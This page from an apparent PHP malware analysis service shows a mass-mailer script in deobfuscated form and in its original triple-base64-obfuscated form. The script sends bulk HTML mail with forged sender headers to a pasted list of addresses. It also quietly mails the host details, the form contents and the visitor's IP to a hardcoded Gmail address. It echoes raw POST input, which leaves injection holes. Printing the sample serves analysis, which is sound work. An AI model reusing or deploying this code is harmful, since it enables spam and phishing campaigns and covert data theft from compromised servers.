PHP Malware Analysis

Back to list

Tags

Emails
thawalaaa@gmail.com
BIMO@2M.TV
Input
_POST
Environment
set_time_limit

Deobfuscated code

<?php

ignore_user_abort();
set_time_limit(0);
function xagtxxne_bfb24fad152ccef40e80de1bf5dd5096()
{
    $yqcfckix_8842c447a57f179976288102e7340ea8 = 1;
    $buzautpa_487c1808b418116b73def4a7c20578cd[1] = $_POST["de"];
    $tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[1] = $_POST["nome"];
    $vjwhffni_ef39544d0afe7c231870ae9527fa0b44[1] = $_POST["assunto"];
    $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] = $_POST["mensagem"];
    $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] = stripslashes($raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]);
    $cspulzmf_b80fe359594a2be5767802411478205a = $_POST["emails"];
    $dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be = htmlspecialchars($_POST["emails"]);
    $eveijqsv_aeedeb4656ca1bd2282a807f58210d16 = explode("\n", $cspulzmf_b80fe359594a2be5767802411478205a);
    $bniqjojj_71ba3634b09874a07620cedbc3e7e7bd = count($eveijqsv_aeedeb4656ca1bd2282a807f58210d16);
    $foklwctl_0803be038580b1eae51e5106fd6f94e6 = $_SERVER["SERVER_NAME"];
    $hxgycvgf_d7d08d3697b6637ec57bb777e5afec8c = $_SERVER["REQUEST_URI"];
    $bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a = @$_SERVER["HTTP_REFERER"];
    $bwdktnce_99f3e9311aba1afe226e1ba8656f2a7d = '' . $bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] . "</TEXTAREA></p>";
    $jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f = $_POST["vai"];
    if ($jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f) {
        for ($klnaffha_f5169e63037d242745a80b4672145f97 = 0; $klnaffha_f5169e63037d242745a80b4672145f97 < $bniqjojj_71ba3634b09874a07620cedbc3e7e7bd; $klnaffha_f5169e63037d242745a80b4672145f97++) {
            if ($klnaffha_f5169e63037d242745a80b4672145f97 == 0) {
                $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\n";
                $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "From: {$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8]} <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
                $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "Return-Path: <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
            }
            $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\n";
            $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
            $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "From: {$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8]} <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
            $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "Return-Path: <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
            $swzoqdvp_ba2b29badf92ef5ae110ba6676f96297++;
            $gpnosxge_a6615f3cfcd34f14438416a8163d526e = $eveijqsv_aeedeb4656ca1bd2282a807f58210d16[$klnaffha_f5169e63037d242745a80b4672145f97];
            $kjckycqo_edd2707212676bc52f26a61dea7f066f = rand(100000, 999999);
            $ilotpgsb_037be3960208cb705d7282ed4a2763ba = rand(100000, 999999);
            $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869 = str_replace("%rand%", $kjckycqo_edd2707212676bc52f26a61dea7f066f, $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[$yqcfckix_8842c447a57f179976288102e7340ea8]);
            $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869 = str_replace("%rand2%", $ilotpgsb_037be3960208cb705d7282ed4a2763ba, $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);
            $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869 = str_replace("%email%", $gpnosxge_a6615f3cfcd34f14438416a8163d526e, $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);
            $hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac = mail($gpnosxge_a6615f3cfcd34f14438416a8163d526e, $vjwhffni_ef39544d0afe7c231870ae9527fa0b44[$yqcfckix_8842c447a57f179976288102e7340ea8], $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869, $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0);
            if ($hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac) {
                echo "<font color=\"green\">" . $swzoqdvp_ba2b29badf92ef5ae110ba6676f96297 . "-" . $gpnosxge_a6615f3cfcd34f14438416a8163d526e . " 0k!</font><br>";
            } else {
                echo "<font color=\"red\">" . $swzoqdvp_ba2b29badf92ef5ae110ba6676f96297 . "-" . $gpnosxge_a6615f3cfcd34f14438416a8163d526e . " =(</font><br>";
                sleep(1);
            }
        }
    }
}
$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c = getenv("REMOTE_ADDR");
$kksvsbcx_f5c9b561d094d30ff587b60198fc2163 = rand(1, 99999);
$oiuenqpx_7200f7d840b7c7875f20e2060333112c = "Sendi {$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c}";
$fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6 = "thawalaaa@gmail.com";
$qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34 = "From: By Xboomber <BIMO@2M.TV>";
$anzvksrj_03248db383d3827444b2009dcbf3f243 = $_SERVER["REQUEST_URI"];
$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8 = $_SERVER["HTTP_HOST"];
$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b = $_POST["de"];
$mvrpchrr_e4d0635aa752aba2945d07a72632077d = $_POST["nome"];
$fgvxdetp_409458d6f923595850fc983220f2975a = $_POST["assunto"];
$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1 = $_POST["mensagem"];
$qudcqelr_ceabdae83d6c0981f4265713fc870cdd = $_POST["emails"];
$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0 = $voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c . "\n";
$ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef = "{$anzvksrj_03248db383d3827444b2009dcbf3f243}\n{$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8}\n{$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b}\n{$mvrpchrr_e4d0635aa752aba2945d07a72632077d}\n{$fgvxdetp_409458d6f923595850fc983220f2975a}\n{$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1}\n{$qudcqelr_ceabdae83d6c0981f4265713fc870cdd}\n{$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0}";
mail($fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6, $oiuenqpx_7200f7d840b7c7875f20e2060333112c, $ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef, $qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34);
?>
 
 
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><?php 
echo xagtxxne_bfb24fad152ccef40e80de1bf5dd5096();
?></span>
<table width="415" height="334" border="0" bgcolor="#000000">
  <tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">
 
<label>
<input name="nome" type="text" value="<?php 
echo $_POST["nome"];
?>" size="20" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input name="de" type="text" value="<?php 
echo $_POST["de"];
?>" size="30" /></td>
 
</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input name="assunto" value="<?php 
echo $_POST["assunto"];
?>" size="40" /></td>
</tr>
<td><span class="style5">letter:</span>
<br /><br /><br /><br /><br /><br /><br /><span class="style5">mailist:</span></td>
 
<td><span class="style9">
 
 
<p><textarea name="mensagem" cols="50" rows="7"><?php 
echo stripslashes($_POST["mensagem"]);
?>
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
 
<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong></strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
  </tr>
</table>
</form>
<br>


Original code

<?php ignore_user_abort();set_time_limit(0);function xagtxxne_bfb24fad152ccef40e80de1bf5dd5096(){$yqcfckix_8842c447a57f179976288102e7340ea8=1;$buzautpa_487c1808b418116b73def4a7c20578cd[1]=$_POST[base64_decode(base64_decode(base64_decode('V2tkVlBRPT0=')))];$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[1]=$_POST[base64_decode(base64_decode(base64_decode('WW0wNWRGcFJQVDA9')))];$vjwhffni_ef39544d0afe7c231870ae9527fa0b44[1]=$_POST[base64_decode(base64_decode(base64_decode('V1ZoT2VtUlhOVEJpZHowOQ==')))];$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]=$_POST[base64_decode(base64_decode(base64_decode('WWxkV2RXTXlSbTVhVnpBOQ==')))];$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]=stripslashes($raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]);$cspulzmf_b80fe359594a2be5767802411478205a=$_POST[base64_decode(base64_decode(base64_decode('V2xjeGFHRlhlSG89')))];$dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be=htmlspecialchars($_POST[base64_decode(base64_decode(base64_decode('V2xjeGFHRlhlSG89')))]);$eveijqsv_aeedeb4656ca1bd2282a807f58210d16=explode(base64_decode(base64_decode(base64_decode('UTJjOVBRPT0='))),$cspulzmf_b80fe359594a2be5767802411478205a);$bniqjojj_71ba3634b09874a07620cedbc3e7e7bd=count($eveijqsv_aeedeb4656ca1bd2282a807f58210d16);$foklwctl_0803be038580b1eae51e5106fd6f94e6=$_SERVER[base64_decode(base64_decode(base64_decode('VlRCV1UxWnJWbE5ZTURWQ1ZGVlZQUT09')))];$hxgycvgf_d7d08d3697b6637ec57bb777e5afec8c=$_SERVER[base64_decode(base64_decode(base64_decode('Vld0V1VsWlZWbFJXUmpsV1ZXdHJQUT09')))];$bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a=@$_SERVER[base64_decode(base64_decode(base64_decode('VTBaU1ZWVkdPVk5TVlZwR1ZXdFdVdz09')))];$bwdktnce_99f3e9311aba1afe226e1ba8656f2a7d=''.$bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a.base64_decode(base64_decode(base64_decode('VUVkS2VWQnFlSGRRYTFaMFdWZHNjMk42YnpoWmJra3JVRVpTUmxkR1VrSlZhMVpDU1VoS2RtUXpUVGxPVTBKcVlqSjRlbEJVUlhkTlJEUTk='))).$dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be.base64_decode(base64_decode(base64_decode('VUVNNVZWSldhRlZSVmtwR1VWUTBPRXd6UVN0UVNFRXJVbGMxYmxwWE5XOVpXRXB3V1ZSdk9GbHVTU3RRUmxKR1YwWlNRbFZyVmtKSlNFcDJaRE5OT1U1VFFtcGlNbmg2VUZSRmQwMUVORDA9'))).$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1].base64_decode(base64_decode(base64_decode('VUVNNVZWSldhRlZSVmtwR1VWUTBPRXd6UVNzPQ==')));$jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f=$_POST[base64_decode(base64_decode(base64_decode('WkcxR2NBPT0=')))];if($jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f){for($klnaffha_f5169e63037d242745a80b4672145f97=0;$klnaffha_f5169e63037d242745a80b4672145f97<$bniqjojj_71ba3634b09874a07620cedbc3e7e7bd;$klnaffha_f5169e63037d242745a80b4672145f97++){if($klnaffha_f5169e63037d242745a80b4672145f97==0){$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0=base64_decode(base64_decode(base64_decode('VkZWc1RsSlRNVmRhV0VwNllWYzVkVTlwUVhoTWFrRk9RMmM5UFE9PQ==')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.=base64_decode(base64_decode(base64_decode('VVRJNWRXUkhWblZrUXpFd1pWaENiRTlwUWpCYVdHZ3dUREpvTUdKWGR6ZEpSMDV2V1ZoS2VscFlVVGxoV0U1MlRGUm5ORTVVYTNSTlVUQkw=')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="From: $tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8] <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="Return-Path: <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";}$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0=base64_decode(base64_decode(base64_decode('VkZWc1RsSlRNVmRhV0VwNllWYzVkVTlwUVhoTWFrRk9RMmM5UFE9PQ==')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.=base64_decode(base64_decode(base64_decode('VVRJNWRXUkhWblZrUXpFd1pWaENiRTlwUWpCYVdHZ3dUREpvTUdKWGR6ZEpSMDV2V1ZoS2VscFlVVGxoV0U1MlRGUm5ORTVVYTNSTlVUQkw=')));$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="From: $tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8] <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0.="Return-Path: <$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]>\r\n";$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297++;$gpnosxge_a6615f3cfcd34f14438416a8163d526e=$eveijqsv_aeedeb4656ca1bd2282a807f58210d16[$klnaffha_f5169e63037d242745a80b4672145f97];$kjckycqo_edd2707212676bc52f26a61dea7f066f=rand(100000,999999);$ilotpgsb_037be3960208cb705d7282ed4a2763ba=rand(100000,999999);$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869=str_replace(base64_decode(base64_decode(base64_decode('U2xoS2FHSnRVV3c9'))),$kjckycqo_edd2707212676bc52f26a61dea7f066f,$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[$yqcfckix_8842c447a57f179976288102e7340ea8]);$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869=str_replace(base64_decode(base64_decode(base64_decode('U2xoS2FHSnRVWGxLVVQwOQ=='))),$ilotpgsb_037be3960208cb705d7282ed4a2763ba,$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869=str_replace(base64_decode(base64_decode(base64_decode('U2xkV2RGbFhiSE5LVVQwOQ=='))),$gpnosxge_a6615f3cfcd34f14438416a8163d526e,$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);$hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac=mail($gpnosxge_a6615f3cfcd34f14438416a8163d526e,$vjwhffni_ef39544d0afe7c231870ae9527fa0b44[$yqcfckix_8842c447a57f179976288102e7340ea8],$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869,$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0);if($hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac){echo(base64_decode(base64_decode(base64_decode('VUVkYWRtSnVVV2RaTWpsellqTkpPVWx0WkhsYVYxWjFTV28wUFE9PQ=='))).$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297.base64_decode(base64_decode(base64_decode('VEZFOVBRPT0='))).$gpnosxge_a6615f3cfcd34f14438416a8163d526e.base64_decode(base64_decode(base64_decode('U1VSQ2NrbFVkM1phYlRsMVpFUTBPRmx1U1NzPQ=='))));}else{echo(base64_decode(base64_decode(base64_decode('VUVkYWRtSnVVV2RaTWpsellqTkpPVWx1U214YVEwa3I='))).$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297.base64_decode(base64_decode(base64_decode('VEZFOVBRPT0='))).$gpnosxge_a6615f3cfcd34f14438416a8163d526e.base64_decode(base64_decode(base64_decode('U1VRd2IxQkRPVzFpTWpVd1VHcDRhV05xTkQwPQ=='))));sleep(1);}}}}$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c=getenv(base64_decode(base64_decode(base64_decode('Vld0V1RsUXhVa1pZTUVaRlVrWkpQUT09'))));$kksvsbcx_f5c9b561d094d30ff587b60198fc2163=rand(1,99999);$oiuenqpx_7200f7d840b7c7875f20e2060333112c="Sendi $voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c";$fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6=base64_decode(base64_decode(base64_decode('WkVkb2FHUXlSbk5aVjBab1VVZGtkRmxYYkhOTWJVNTJZbEU5UFE9PQ==')));$qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34=base64_decode(base64_decode(base64_decode('VW01S2RtSlViMmRSYm10blYwZEtkbUl5TVdsYVdFbG5VRVZLU2xSVk9VRk5hekIxVmtaWkt3PT0=')));$anzvksrj_03248db383d3827444b2009dcbf3f243=$_SERVER[base64_decode(base64_decode(base64_decode('Vld0V1VsWlZWbFJXUmpsV1ZXdHJQUT09')))];$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8=$_SERVER[base64_decode(base64_decode(base64_decode('VTBaU1ZWVkdPVWxVTVU1Vg==')))];$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b=$_POST[base64_decode(base64_decode(base64_decode('V2tkVlBRPT0=')))];$mvrpchrr_e4d0635aa752aba2945d07a72632077d=$_POST[base64_decode(base64_decode(base64_decode('WW0wNWRGcFJQVDA9')))];$fgvxdetp_409458d6f923595850fc983220f2975a=$_POST[base64_decode(base64_decode(base64_decode('V1ZoT2VtUlhOVEJpZHowOQ==')))];$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1=$_POST[base64_decode(base64_decode(base64_decode('WWxkV2RXTXlSbTVhVnpBOQ==')))];$qudcqelr_ceabdae83d6c0981f4265713fc870cdd=$_POST[base64_decode(base64_decode(base64_decode('V2xjeGFHRlhlSG89')))];$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0=$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c.base64_decode(base64_decode(base64_decode('UTJjOVBRPT0=')));$ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef="$anzvksrj_03248db383d3827444b2009dcbf3f243\n$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8\n$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b\n$mvrpchrr_e4d0635aa752aba2945d07a72632077d\n$fgvxdetp_409458d6f923595850fc983220f2975a\n$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1\n$qudcqelr_ceabdae83d6c0981f4265713fc870cdd\n$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0";mail($fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6,$oiuenqpx_7200f7d840b7c7875f20e2060333112c,$ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef,$qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34);?>
 
 
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><?php echo xagtxxne_bfb24fad152ccef40e80de1bf5dd5096();?></span>
<table width="415" height="334" border="0" bgcolor="#000000">
  <tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">
 
<label>
<input name="nome" type="text" value="<?php echo $_POST[base64_decode(base64_decode(base64_decode('WW0wNWRGcFJQVDA9')))];?>" size="20" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input name="de" type="text" value="<?php echo $_POST[base64_decode(base64_decode(base64_decode('V2tkVlBRPT0=')))];?>" size="30" /></td>
 
</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input name="assunto" value="<?php echo $_POST[base64_decode(base64_decode(base64_decode('V1ZoT2VtUlhOVEJpZHowOQ==')))];?>" size="40" /></td>
</tr>
<td><span class="style5">letter:</span>
<br /><br /><br /><br /><br /><br /><br /><span class="style5">mailist:</span></td>
 
<td><span class="style9">
 
 
<p><textarea name="mensagem" cols="50" rows="7"><?php echo stripslashes($_POST[base64_decode(base64_decode(base64_decode('WWxkV2RXTXlSbTVhVnpBOQ==')))]);?>
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
 
<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong></strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
  </tr>
</table>
</form>
<br>